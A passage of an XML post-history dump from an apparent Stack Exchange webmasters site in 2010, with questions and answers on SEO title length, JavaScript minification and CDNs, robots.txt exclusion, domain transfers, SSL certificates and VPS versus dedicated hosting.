  <row Id="1642" PostHistoryTypeId="5" PostId="886" RevisionGUID="e9cdb13a-6852-433a-a05a-9154763f048e" CreationDate="2010-07-15T15:31:06.197" UserId="55" Comment="added 171 characters in body" Text="Its not just the length, its being meaningful enough so that tabs in any given browser can be easily differentiated (usability), as well as SEO.&#xD;&#xA;&#xD;&#xA;I never go over 80 characters in length, and I assume that its likely that some indexes will truncate at 60 characters or so. That isn't as big as a concern as it used to be. But, be aware that Google isn't the only search engine. &#xD;&#xA;&#xD;&#xA;Regardless, following both usability and SEO means get something meaningful in the first 20 characters and avoid keyword spam.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    Gibson Rant 1 - &quot;I hope you ... &quot; | TheBestNews.com&#xD;&#xA;    Gibson Rant 2 - &quot;I'm going to ...&quot; | TheBestNews.com&#xD;&#xA;&#xD;&#xA;You want the least significant words as far 'right' as you can get them, while not defeating tabbed browsing. That is, of course if the language is read left to right. Reverse the order otherwise (tricky in sites that offer many languages).&#xD;&#xA;&#xD;&#xA;There's also nothing wrong with using titles as a teaser, as long as you deliver when someone clicks through. Discretion, depending on the topic is of course paramount.&#xD;&#xA;" />
  <row Id="1643" PostHistoryTypeId="2" PostId="895" RevisionGUID="4451b235-cce3-4272-8cba-b51bb0bbc9ca" CreationDate="2010-07-15T15:51:21.433" UserId="82" Text="Are you sure that you want to combine them?  If you use a common library, you can leverage a CDN to deliver your javascripts.  You can then take advantage of browser caching (assuming other sites are using the same CDN) and distributed delivery.  [Microsoft][1] and [Google][2] each have solutions (I haven't honestly used either, but I am certainly going to start) and there may be others.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://weblogs.asp.net/scottgu/archive/2009/09/15/announcing-the-microsoft-ajax-cdn.aspx&#xD;&#xA;  [2]: http://code.google.com/apis/ajaxlibs/" />
  <row Id="1644" PostHistoryTypeId="16" PostId="895" RevisionGUID="4451b235-cce3-4272-8cba-b51bb0bbc9ca" CreationDate="2010-07-15T15:51:21.433" UserId="-1" />
  <row Id="1645" PostHistoryTypeId="2" PostId="896" RevisionGUID="9f01c6f5-334c-4589-bc22-dfea22c1b19b" CreationDate="2010-07-15T15:57:13.350" UserId="82" Text="I wouldn't suggest combining all of them.  If you are useing a common library, you can leverage a CDN to deliver your javascripts.  You can then take advantage of browser caching (assuming other sites are using the same CDN) and distributed delivery.  [Microsoft][1] and [Google][2] each have solutions (I haven't honestly used either, but I am certainly going to start) and there may be others.  On a related note, SO has this question:&#xD;&#xA;&#xD;&#xA;&gt; [When Does Browser Automatically Clear&#xD;&#xA;&gt; JavaScript Cache?][3]&#xD;&#xA;&#xD;&#xA;and the first answer is solid gold.&#xD;&#xA;&#xD;&#xA;  [1]: http://weblogs.asp.net/scottgu/archive/2009/09/15/announcing-the-microsoft-ajax-cdn.aspx&#xD;&#xA;  [2]: http://code.google.com/apis/ajaxlibs/&#xD;&#xA;  [3]: http://stackoverflow.com/questions/206783/when-does-browser-automatically-clear-javascript-cache" />
  <row Id="1646" PostHistoryTypeId="2" PostId="897" RevisionGUID="311589f5-4734-4d57-901e-4dfe107ce38c" CreationDate="2010-07-15T16:06:41.440" UserId="108" Text="There are 4 things you can do.&#xD;&#xA;&#xD;&#xA; 1. Minify your JS File.  This removes all comments and Whitespace to reduce site.&#xD;&#xA; 2. Combine your JS Files on each page so that there is only 1 file.&#xD;&#xA; 3. Use a package to gzip your files when you send them. This will make them even smaller&#xD;&#xA; 4. Put Javascript that isn't required immediately at the bottom of the page so that it loads at the end. This will allow the user to see and use the page even before the JS is completely loaded." />
  <row Id="1647" PostHistoryTypeId="2" PostId="898" RevisionGUID="4df350bd-eb84-42b8-ae37-d183cdcb3fcb" CreationDate="2010-07-15T16:08:07.303" UserId="61" Text="65&#xD;&#xA;&#xD;&#xA;The reason being that search engines will only show the first 65 characters. For example search google for something. They will show the first 65 character and then a ... bing however seems to do 67.&#xD;&#xA;&#xD;&#xA;So if you want to control how your title shows up in the results and you need to concentrate on the first 65. &#xD;&#xA;&#xD;&#xA;I am not sure if they ignore more then this is just don't show it. I would assume the later." />
  <row Id="1648" PostHistoryTypeId="2" PostId="899" RevisionGUID="19bca268-ab05-4bc5-9dbb-a5e813cd659b" CreationDate="2010-07-15T16:35:24.770" UserId="236" Text="I'm running a self-hosted version of wordpress, so plugins are an option that is available. I'm wondering what the best way to have my Twitter and Facebook accounts automatically update whenever I add a new post to my blog." />
  <row Id="1649" PostHistoryTypeId="1" PostId="899" RevisionGUID="19bca268-ab05-4bc5-9dbb-a5e813cd659b" CreationDate="2010-07-15T16:35:24.770" UserId="236" Text="Easiest way to automatically update Twitter &amp; Facebook when I update a wordpress blog." />
  <row Id="1650" PostHistoryTypeId="3" PostId="899" RevisionGUID="19bca268-ab05-4bc5-9dbb-a5e813cd659b" CreationDate="2010-07-15T16:35:24.770" UserId="236" Text="&lt;facebook&gt;&lt;wordpress&gt;&lt;twitter&gt;" />
  <row Id="1651" PostHistoryTypeId="2" PostId="900" RevisionGUID="04da8263-3503-47f3-b242-48672f51d4fd" CreationDate="2010-07-15T16:37:33.847" UserId="236" Text="I was wondering if content in an HTML5 canvas tags has any positive/negative effects on SEO, or if it is indexed at all." />
  <row Id="1652" PostHistoryTypeId="1" PostId="900" RevisionGUID="04da8263-3503-47f3-b242-48672f51d4fd" CreationDate="2010-07-15T16:37:33.847" UserId="236" Text="Can text content in an HTML5 &lt;canvas&gt; element be indexed by search engines?" />
  <row Id="1653" PostHistoryTypeId="3" PostId="900" RevisionGUID="04da8263-3503-47f3-b242-48672f51d4fd" CreationDate="2010-07-15T16:37:33.847" UserId="236" Text="&lt;seo&gt;&lt;html5&gt;" />
  <row Id="1654" PostHistoryTypeId="2" PostId="901" RevisionGUID="52b0bba1-f958-42a9-be43-5ca389ae4915" CreationDate="2010-07-15T16:39:29.803" UserId="236" Text="There is also an [E-Commerce plug in for wordpress][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.instinct.co.nz/e-commerce/ " />
  <row Id="1655" PostHistoryTypeId="2" PostId="902" RevisionGUID="643e81c4-f358-47d7-baaa-aa0d8048a9e1" CreationDate="2010-07-15T16:41:36.947" UserId="156" Text="If you are using common libraries (such as jQuery, Prototype or Dojo), you can offload the file to Google and make them [serve it][1], this gives you several advantages:&#xD;&#xA;&#xD;&#xA; - You don't have to worry about minifying and zipping etc&#xD;&#xA; - It's not your bandwidth&#xD;&#xA; - These files come from a different domain, so you can (at least partially) workaround the [limit of 2 parallel requests per hostname][2]&#xD;&#xA; - If you're lucky, the user has already visited some other site that used the same library from the same provider, so they already have it in the browser cache.&#xD;&#xA;&#xD;&#xA;Note: The version you ask for can have a large impact on the caching characteristics: asking for jQuery 1.4.2 will give you a file that can be cached for a year, but 1.4 can only be cached for an hour.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/ajaxlibs/&#xD;&#xA;  [2]: http://yuiblog.com/blog/2007/04/11/performance-research-part-4/" />
  <row Id="1656" PostHistoryTypeId="5" PostId="897" RevisionGUID="f3007c90-fffe-4e27-91f2-4db9b980572d" CreationDate="2010-07-15T17:16:52.743" UserId="108" Comment="added 4 characters in body; deleted 4 characters in body; added 4 characters in body" Text="There are 4 things you can do.&#xD;&#xA;&#xD;&#xA; 1. Minify your JS File.  This removes all comments and Whitespace to reduce its size.&#xD;&#xA; 2. Combine your JS Files on each page so that there is only 1 file.&#xD;&#xA; 3. Use a package to gzip your files when you send them. This will make them even smaller&#xD;&#xA; 4. Put Javascript that isn't required immediately at the bottom of the page so that it loads at the end. This will allow the user to see and use the page even before the JS is completely loaded." />
  <row Id="1657" PostHistoryTypeId="2" PostId="903" RevisionGUID="48d67e39-8272-415a-a542-c034c7ce86b9" CreationDate="2010-07-15T18:10:34.143" UserId="205" Text="Search the [plugin directory][1] for [Twitter][2] and for [Facebook][3] and you will find that others have already created plugins which do just what you are looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/search.php?q=twitter&amp;sort=&#xD;&#xA;  [3]: http://wordpress.org/extend/plugins/search.php?q=Facebook&amp;sort=" />
  <row Id="1658" PostHistoryTypeId="2" PostId="904" RevisionGUID="813f3f44-c6d1-4f04-b2d5-ec5544ee189d" CreationDate="2010-07-15T18:47:54.490" UserId="14" Text="I've had great luck with [Twitter Tools](http://wordpress.org/extend/plugins/twitter-tools/) for updating Twitter, and Networked Blogs (search on Facebook) for Facebook." />
  <row Id="1659" PostHistoryTypeId="2" PostId="905" RevisionGUID="2a494910-86b0-40ed-9fdd-1ad50643a88d" CreationDate="2010-07-15T18:50:33.440" UserId="256" Text="I wrote a handler for Asp.Net that uses YUI to compress, concatenate, and caches the output.&#xD;&#xA;&#xD;&#xA;Here's the source: http://gist.github.com/130913" />
  <row Id="1660" PostHistoryTypeId="16" PostId="905" RevisionGUID="2a494910-86b0-40ed-9fdd-1ad50643a88d" CreationDate="2010-07-15T18:50:33.440" UserId="-1" />
  <row Id="1661" PostHistoryTypeId="2" PostId="906" RevisionGUID="bf280e15-8c27-4a3a-ad01-12ff1addc870" CreationDate="2010-07-15T19:04:38.777" UserId="273" Text="In addition to CMS and photography portfolio/gallery uses, it can also be used to run a webcomic site (usually via the &quot;ComicPress&quot; theme). You see quite a few webcomics running their backend using WordPress." />
  <row Id="1662" PostHistoryTypeId="2" PostId="907" RevisionGUID="8cedbc55-0357-4ce3-98a4-7d55ff86957a" CreationDate="2010-07-15T19:10:34.517" UserId="32" Text="See more answers here [Best Programming Blogs][1] and look for web-related programming&#xD;&#xA;&#xD;&#xA; - [Reddit Programming feed][2]&#xD;&#xA; - [Favorite Website Awards][3] for web development inspiration and links to other blogs&#xD;&#xA; - [Fifty Four Eleven][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/78955/what-are-the-best-programming-and-development-related-blogs&#xD;&#xA;  [2]: http://www.reddit.com/r/programming/&#xD;&#xA;  [3]: http://www.thefwa.com/&#xD;&#xA;  [4]: http://www.fiftyfoureleven.com/" />
  <row Id="1663" PostHistoryTypeId="2" PostId="908" RevisionGUID="aebfbc57-c043-4994-a8d5-2d5dadae7e68" CreationDate="2010-07-15T19:13:14.480" UserId="287" Text="[The Web Design Subreddit][1] has lots of good information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.reddit.com/r/web_design" />
  <row Id="1664" PostHistoryTypeId="2" PostId="909" RevisionGUID="4341ed6d-a211-44d2-b3f4-2e716d98830c" CreationDate="2010-07-15T19:14:17.537" UserId="280" Text="For ASP.NET projects, I have made it a part of my build process based on [instructions by Karl Seguin][1].&#xD;&#xA;&#xD;&#xA;Karl describes it best on his blog, but the short version is to set up a console app wrapping YUICompressor. Then you can set up a post-build task to call that console app against the location of the JS files in your site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codebetter.com/blogs/karlseguin/archive/2008/12/29/compressing-js-files-as-part-of-your-build-process.aspx" />
  <row Id="1665" PostHistoryTypeId="16" PostId="909" RevisionGUID="4341ed6d-a211-44d2-b3f4-2e716d98830c" CreationDate="2010-07-15T19:14:17.537" UserId="-1" />
  <row Id="1666" PostHistoryTypeId="2" PostId="910" RevisionGUID="e32dbe8e-5858-403d-b556-eb6e1028241e" CreationDate="2010-07-15T19:20:43.137" UserId="48" Text="I wish I had a story to tell. We have pitched the various benefits of this to the powers that be repeatedly but the answer always comes back the same: &quot;we want this in house&quot;.&#xD;&#xA;&#xD;&#xA;We have users that access the site over SSL. We had looked at using the Google CDN for basic things like Javascript libraries. This caused annoying mixed security warnings in browsers so we dropped it.&#xD;&#xA;&#xD;&#xA;We also have some security issues with blocking users and the general public from being able to get access to a piece of content on the CDN. Think protecting a facebook photo based on login + ability to see that users photo album. It would be that complex of a check.&#xD;&#xA;&#xD;&#xA;As of yet I don't know how that can be done. I assume we could implements a cookie/token scheme or a web service that the CDN could use to verify access but this would add latency which is what we are trying to eliminate. &#xD;&#xA;&#xD;&#xA;I would be interested also in hearing how others have surmounted these problems, if they are in fact your problems." />
  <row Id="1667" PostHistoryTypeId="2" PostId="911" RevisionGUID="722edc02-0442-44f4-a9fb-09807a85324b" CreationDate="2010-07-15T19:28:51.370" UserId="298" Text="&#xD;&#xA;I have my personal homepage, and I want the main page itself to appear in search results. But I do not want a certain directory and its subdirectories to appear in google search results. How do I do this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1668" PostHistoryTypeId="1" PostId="911" RevisionGUID="722edc02-0442-44f4-a9fb-09807a85324b" CreationDate="2010-07-15T19:28:51.370" UserId="298" Text="Preventing appearance of certain directories/pages in google search results" />
  <row Id="1669" PostHistoryTypeId="3" PostId="911" RevisionGUID="722edc02-0442-44f4-a9fb-09807a85324b" CreationDate="2010-07-15T19:28:51.370" UserId="298" Text="&lt;search-engines&gt;" />
  <row Id="1670" PostHistoryTypeId="2" PostId="912" RevisionGUID="125581ee-a160-48d0-a7cf-b3867d6338cc" CreationDate="2010-07-15T19:32:00.363" UserId="296" Text="i'm new, and i'm sorry for my english. &#xD;&#xA;I try to explain: i've bought for my italian site a domain (for example): www.FOO.in . &#xD;&#xA;The extension .IN is (in theory) for Indian web site. &#xD;&#xA;I haven't bought .IT (italian web site) because it was already occupied. The same for other famous extension: .COM, .NET, .ORG etc. &#xD;&#xA;So i'm asking you:  when i search for the word &quot;FOO&quot; in Google Italy will be there possibilities to appears on top (the first 10/20) pages ? &#xD;&#xA;For your experience how google threat &quot;keyword&quot; in domain name, but with foreign extension ?&#xD;&#xA;Thank you. " />
  <row Id="1671" PostHistoryTypeId="1" PostId="912" RevisionGUID="125581ee-a160-48d0-a7cf-b3867d6338cc" CreationDate="2010-07-15T19:32:00.363" UserId="296" Text="How is the search engine position of a web site with a good keyword but with a TLD not famous" />
  <row Id="1672" PostHistoryTypeId="3" PostId="912" RevisionGUID="125581ee-a160-48d0-a7cf-b3867d6338cc" CreationDate="2010-07-15T19:32:00.363" UserId="296" Text="&lt;seo&gt;" />
  <row Id="1673" PostHistoryTypeId="2" PostId="913" RevisionGUID="3820f8fc-c2a6-446f-aa7a-12a014354572" CreationDate="2010-07-15T19:41:07.237" UserId="169" Text="disallow the search bots to enter these locations:&#xD;&#xA;&#xD;&#xA;http://www.robotstxt.org/robotstxt.html&#xD;&#xA;&#xD;&#xA;google describes the procedure [pretty good][1], example given:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /folder1/&#xD;&#xA;&#xD;&#xA;This disallows all bots to index the content of &quot;/folder1/&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156449" />
  <row Id="1674" PostHistoryTypeId="2" PostId="914" RevisionGUID="7e774e68-af07-4e22-bc3f-e063f5f5697f" CreationDate="2010-07-15T19:41:59.187" UserId="180" Text="There are several mechanisms you can use to do this.&#xD;&#xA;&#xD;&#xA;The first is the [robots.txt][1] file.  This is a protocol which is voluntarily followed by &quot;good&quot; search engines by google, and allows you to list sections of your site which they will not follow.&#xD;&#xA;&#xD;&#xA;&gt; User-agent: *  &#xD;&#xA;Disallow: /myfolder/&#xD;&#xA;&#xD;&#xA;The next is meta tags.  Individual pages can be tagged with metadata which tells robots not to index or display them.  Google has a [nice writeup on how to implement these][2].&#xD;&#xA;&#xD;&#xA;&gt;`&lt;meta name=&quot;robots&quot; content=&quot;noindex,nofollow&quot;&gt;`&#xD;&#xA;&#xD;&#xA;The final mechanism, if the pages have already been indexed, is to use the search engine's removal mechanism if one exists. I've linked to the documentation for Google, Bing, and Yahoo's removal mechanisms here:&#xD;&#xA;&#xD;&#xA;- [Google URL removal][3]&#xD;&#xA;- [Bing URL removal][4]&#xD;&#xA;- [Yahoo URL removal][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=79812&#xD;&#xA;  [3]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=164734&#xD;&#xA;  [4]: http://www.bing.com/toolbox/blogs/webmaster/archive/2009/01/28/removing-content-from-the-live-search-index.aspx&#xD;&#xA;  [5]: http://help.yahoo.com/l/us/yahoo/search/siteexplorer/siteexplorer-46.html" />
  <row Id="1675" PostHistoryTypeId="2" PostId="915" RevisionGUID="86381b25-4b74-4a49-a794-f0ca68a5aee6" CreationDate="2010-07-15T19:42:05.957" UserId="108" Text="Use a robots.txt file in your main folder and set it to:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Allow: /&#xD;&#xA;&#xD;&#xA;In the folder you don't want anyone to access put a robots.txt file with this body:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;Checkout http://www.robotstxt.org/ for more info about robot.txt files." />
  <row Id="1676" PostHistoryTypeId="2" PostId="916" RevisionGUID="869620d8-2e01-4303-84fb-55d690a629d2" CreationDate="2010-07-15T19:44:08.667" UserId="101" Text="I'm currently using godaddy for all of my company domains, and I'm very unsatisfied with their service, specially with their site, so we are trying to migrate those domains to another provider. The question is, How do I transfer my domains to another domain registrar? I'm not talking about transferring domain records (A, MX...) but to use the same domains with another provider, and redo all the configuration again.&#xD;&#xA;&#xD;&#xA;For example, one of our blogs is hosted in Slicehost and we feel very confortable with their record editing tool.&#xD;&#xA;&#xD;&#xA;As I have read prowebmasters I can see other people not very satisfied with Godaddy service. Thanks!" />
  <row Id="1677" PostHistoryTypeId="1" PostId="916" RevisionGUID="869620d8-2e01-4303-84fb-55d690a629d2" CreationDate="2010-07-15T19:44:08.667" UserId="101" Text="How to transfer domain from Godaddy to another provider" />
  <row Id="1678" PostHistoryTypeId="3" PostId="916" RevisionGUID="869620d8-2e01-4303-84fb-55d690a629d2" CreationDate="2010-07-15T19:44:08.667" UserId="101" Text="&lt;domains&gt;&lt;dns&gt;&lt;registrar&gt;" />
  <row Id="1679" PostHistoryTypeId="2" PostId="917" RevisionGUID="ea2c31ea-c710-4b9d-b7b2-aa2053eeb525" CreationDate="2010-07-15T19:46:55.960" UserId="287" Text="Google gives a bias towards search terms in the domain name but is more biased towards .com and to a lesser extent, .net and .org.  Unfortunately I'm not sure much will be gained by .in&#xD;&#xA;&#xD;&#xA;I would focus my efforts on other aspects of Search Engine Optimization (SEO).&#xD;&#xA;&#xD;&#xA;See this article for some SEO basics: [Everything you already know about SEO][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kadavy.net/blog/posts/everything-you-already-know-about-seo/" />
  <row Id="1680" PostHistoryTypeId="2" PostId="918" RevisionGUID="ceb4b9da-fbd2-4b43-bfdc-5959a7d51699" CreationDate="2010-07-15T19:51:57.680" UserId="287" Text="In addition to the answers above, you can use the [Google Closure Compiler][1] to automatically compress and optimize your JS while integrating with other 3rd party libraries (jQuery, YUI, mootools, etc.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://closure-compiler.appspot.com/home" />
  <row Id="1681" PostHistoryTypeId="2" PostId="919" RevisionGUID="24228c54-6b22-4326-8403-e6d73249d11d" CreationDate="2010-07-15T19:52:49.113" UserId="1148" Text="I can't believe I will be the first one to post this:&#xD;&#xA;&#xD;&#xA;http://www.alistapart.com/" />
  <row Id="1682" PostHistoryTypeId="2" PostId="920" RevisionGUID="3522f773-d600-4598-8324-65aa7c64c590" CreationDate="2010-07-15T19:53:31.467" UserId="101" Text="Currently we are deploying a beta API for our services and we want that all request/responses from the API works over https. I'm confused about using wildcard certificates for both `api` and `www` urls. Is it a good idea to use a wildcard certificate for both `api.example.com` and `www.example.com`? Are there any inconveniences?&#xD;&#xA;&#xD;&#xA;What about those 1-server-only certificates? Because I'm deploying my API in **n** servers with a load balancer on front.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="1683" PostHistoryTypeId="1" PostId="920" RevisionGUID="3522f773-d600-4598-8324-65aa7c64c590" CreationDate="2010-07-15T19:53:31.467" UserId="101" Text="Using wildcard certificates for multi-server deployment" />
  <row Id="1684" PostHistoryTypeId="3" PostId="920" RevisionGUID="3522f773-d600-4598-8324-65aa7c64c590" CreationDate="2010-07-15T19:53:31.467" UserId="101" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="1685" PostHistoryTypeId="2" PostId="921" RevisionGUID="e56ce51e-d8da-41e1-8abf-610927157e02" CreationDate="2010-07-15T19:57:07.620" UserId="316" Text="What is the difference between virtual private server and dedicated hosting for my website?" />
  <row Id="1686" PostHistoryTypeId="1" PostId="921" RevisionGUID="e56ce51e-d8da-41e1-8abf-610927157e02" CreationDate="2010-07-15T19:57:07.620" UserId="316" Text="Virtual Private Server vs. Dedicated Hosting" />
  <row Id="1687" PostHistoryTypeId="3" PostId="921" RevisionGUID="e56ce51e-d8da-41e1-8abf-610927157e02" CreationDate="2010-07-15T19:57:07.620" UserId="316" Text="&lt;web-hosting&gt;" />
  <row Id="1688" PostHistoryTypeId="2" PostId="922" RevisionGUID="986676a8-e2e9-4679-94f4-b335f4909e8d" CreationDate="2010-07-15T19:57:47.430" UserId="318" Text="Primarily for the MS Web Devs out there:   &#xD;&#xA;[@shanselman][1]   &#xD;&#xA;[@scottgu][2]   &#xD;&#xA;[@haacked][3]   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://twitter.com/shanselman&#xD;&#xA;  [2]: http://twitter.com/scottgu&#xD;&#xA;  [3]: http://twitter.com/haacked" />
  <row Id="1689" PostHistoryTypeId="2" PostId="923" RevisionGUID="4ddbbdbf-6f04-4518-9d6c-b5f8ec8b9e8e" CreationDate="2010-07-15T19:58:21.830" UserId="310" Text="I know it depends greatly on each individual case, but lets say some site is doing 100k unique pageviews a day, how to estimate approximate potential monthly revenues from banners on such site (in average case scenario)? &#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="1690" PostHistoryTypeId="1" PostId="923" RevisionGUID="4ddbbdbf-6f04-4518-9d6c-b5f8ec8b9e8e" CreationDate="2010-07-15T19:58:21.830" UserId="310" Text="How to roughly translate site pageviews to its potential revenue from ads?" />
  <row Id="1691" PostHistoryTypeId="3" PostId="923" RevisionGUID="4ddbbdbf-6f04-4518-9d6c-b5f8ec8b9e8e" CreationDate="2010-07-15T19:58:21.830" UserId="310" Text="&lt;advertising&gt;" />
  <row Id="1692" PostHistoryTypeId="2" PostId="924" RevisionGUID="f4000429-d946-4fa2-b140-d220c0a849f7" CreationDate="2010-07-15T20:01:30.480" UserId="327" Text="Most domains are &quot;locked&quot; so you will first need to unlock it through your GoDaddy domain control panel. Then initiate a &quot;domain transfer&quot; from your new registrar. You will get a few emails to confirm the transfer and you will need the codes included in those emails to complete the transfer.&#xD;&#xA;&#xD;&#xA;It's pretty easy." />
  <row Id="1693" PostHistoryTypeId="2" PostId="925" RevisionGUID="6443c2bc-b2a8-4df3-9127-07b34bbba4a8" CreationDate="2010-07-15T20:04:21.393" UserId="316" Text="What are some of the best hosting providers for a Ruby on Rails application?&#xD;&#xA;&#xD;&#xA;I have looked into Heroku and it looks like a good option, but would it be better to go with a VPS or Grid hosting provider." />
  <row Id="1694" PostHistoryTypeId="1" PostId="925" RevisionGUID="6443c2bc-b2a8-4df3-9127-07b34bbba4a8" CreationDate="2010-07-15T20:04:21.393" UserId="316" Text="Rails hosting providers" />
  <row Id="1695" PostHistoryTypeId="3" PostId="925" RevisionGUID="6443c2bc-b2a8-4df3-9127-07b34bbba4a8" CreationDate="2010-07-15T20:04:21.393" UserId="316" Text="&lt;web-hosting&gt;" />
  <row Id="1696" PostHistoryTypeId="2" PostId="926" RevisionGUID="c2119f36-e8de-4330-9a76-98bd6a4559de" CreationDate="2010-07-15T20:04:25.153" UserId="14" Text="It's not possible to say. The criteria for determining if people will click on an ad depends on many factors including site layout and content. &#xD;&#xA;&#xD;&#xA;Just try Googling [Adsense layout suggestions](http://www.google.ca/search?sourceid=chrome&amp;ie=UTF-8&amp;q=adsense+layout+suggestions&amp;qscrl=1) and you'll see many people spend a lot of time experimenting to get people to click on more ads.&#xD;&#xA;&#xD;&#xA;Basically, to answer your question, you need to experiment to see how much you can earn with ads and modify your site in various ways to maximise your revenue." />
  <row Id="1697" PostHistoryTypeId="2" PostId="927" RevisionGUID="b58d6008-e100-4f74-8c77-308f3ceba235" CreationDate="2010-07-15T20:04:29.147" UserId="328" Text="I decided to employ the use of a CDN to increase the download speed of files for users across the globe. Generally speaking, delivering really small files can be done easily via nginx from a separate subdomain, as 30 milliseconds extra to grab a css won't exactly kill your web application.&#xD;&#xA;&#xD;&#xA;When it comes to delivering larger files, a CDN can really shine, especially the ones with a global reach (such as Akamai and Limelight Networks) which will get you great speeds to any continent. The hardest thing to test out any of these is being able to get a hold of people with residential connections in various parts of the globe to perform tests for you, as doing tests from datacenter-grade connections means nothing when it comes to real world performance; To do the tests hiring people for a small amount of money will get you great results, because if you're already looking at a CDN you are likely going to pay quite a bit of money and likely sign a contract, so spending 100 USD or so to do proper benchmarks will let you rest easy with the 12 month contract you just signed." />
  <row Id="1698" PostHistoryTypeId="2" PostId="928" RevisionGUID="a9e0d8d5-205b-4879-bfbf-08bb122ce749" CreationDate="2010-07-15T20:06:01.967" UserId="328" Text="Heroku is essentially a grid/cloud/vps hosting provider, as they're based off of Amazon's EC2 which consists of Xen virtual machines. You are just confused about marketing lingo.&#xD;&#xA;&#xD;&#xA;Heroku is good, and there's also Engineyard, which is pretty popular." />
  <row Id="1699" PostHistoryTypeId="2" PostId="929" RevisionGUID="e336c932-0627-4890-99bb-976fce8bf430" CreationDate="2010-07-15T20:08:02.477" UserId="60" Text="A Virtual Private Server is where you are running a virtualised OS sitting on top of shared hardware - so you're probably sharing the physical machine with a number of other servers.&#xD;&#xA;&#xD;&#xA;Dedicated Hosting is where you are renting the entire server, and get all its resources to yourself.&#xD;&#xA;&#xD;&#xA;That's why VPS is usually a lot cheaper than Dedicated, because the host can effectively sell one server 8 or more times, taking up much less rack space, etc, for the same price as one dedicated server." />
  <row Id="1700" PostHistoryTypeId="2" PostId="930" RevisionGUID="a55b06fa-d509-487c-a049-16dc0c797bb8" CreationDate="2010-07-15T20:08:03.960" UserId="110" Text="1. Unlock the domain via GoDaddy's panel if they happen to be locked.&#xD;&#xA;2. Update all the contact info and email address.  It needs to be accurate in case trouble occurs.&#xD;&#xA;3. Get the authorization code or EPP from GoDaddy.com&#xD;&#xA;4. Have your new host initiate the transfer (this will likely cost you a yearly fee at the new place)&#xD;&#xA;&#xD;&#xA;You will have to supply the new registrar the code and they can finish the transfer.&#xD;&#xA;" />
  <row Id="1701" PostHistoryTypeId="2" PostId="931" RevisionGUID="75eff03c-977b-438d-8590-54b0a22153e7" CreationDate="2010-07-15T20:08:18.560" UserId="334" Text="Say you have a submission process that requires two forms. The submission of the 2nd form triggers an email. What do you do if the second form isn't submitted? Say the user forgets or closes the window by accident.&#xD;&#xA;&#xD;&#xA;My only solution was to update the DB with a flag from the submission of the 1st form that identifies an email has not been sent. Submission of the 2nd form will trigger an event to send an email and update the DB with a flag that identifies an email has been sent. A cron job will run periodically to check for any flags for unsent emails, gather the information, and send an email.&#xD;&#xA;&#xD;&#xA;Is this the best way of dealing with the issue?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="1702" PostHistoryTypeId="1" PostId="931" RevisionGUID="75eff03c-977b-438d-8590-54b0a22153e7" CreationDate="2010-07-15T20:08:18.560" UserId="334" Text="How to deal with multiple step forms where one of the forms are not submitted" />
  <row Id="1703" PostHistoryTypeId="3" PostId="931" RevisionGUID="75eff03c-977b-438d-8590-54b0a22153e7" CreationDate="2010-07-15T20:08:18.560" UserId="334" Text="&lt;web-development&gt;" />
  <row Id="1704" PostHistoryTypeId="2" PostId="932" RevisionGUID="fb845160-b962-4ca9-a9e5-985aa9cf661b" CreationDate="2010-07-15T20:08:25.067" UserDisplayName="illmatix" Text="@cssglobe css related awesomeness&#xD;&#xA;@SohTanaka drupal, jQuery, CSS, php you name it. Awesome website too.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1705" PostHistoryTypeId="2" PostId="933" RevisionGUID="b2b87463-e692-405e-812d-1d63e19c0ec8" CreationDate="2010-07-15T20:08:37.373" UserId="14" Text="It depends on the host. Often a &quot;Virtual private server&quot; will be essentially fully managed hosting with no access to the operating system, or it could mean that you have root access to the server.&#xD;&#xA;&#xD;&#xA;Typically with all hosts &quot;Dedicated&quot; means that you get full access to the server to modify the OS as you please. Dedicated also means that you have hardware that you'll be the only one using, whereas &quot;Virtual Private&quot; means you are sharing hardware with other customers." />
  <row Id="1706" PostHistoryTypeId="2" PostId="934" RevisionGUID="e672dbb7-d139-4e32-9fcc-40aef79d064b" CreationDate="2010-07-15T20:10:39.973" UserId="322" Text="They both have pros and cons.&#xD;&#xA;&#xD;&#xA;A Virtual Server gives you the ability the easily change (scale) the hardware on the fly without having to touch a physical machine. Most hosting companies allow you to expand the RAM, provision more CPU and add additional disks or expand existing disks. Which requires restarting the (virtual) machine, but that's all the downtime you experience. The cons to this is that your VPS shares physical hardware with other peoples VPS's. So if you have some particularly &quot;bad neighbours&quot; who are doing really disk intensive work you might notice poor performance.&#xD;&#xA;&#xD;&#xA;The pros to having dedicated hardware are you know exactly what is happening and why on your box. If the disk is taking a thrashing, that's your fault, and you probably know why, or at least have the ability to stop it. The cons are, you have to pay for actual hardware, which is 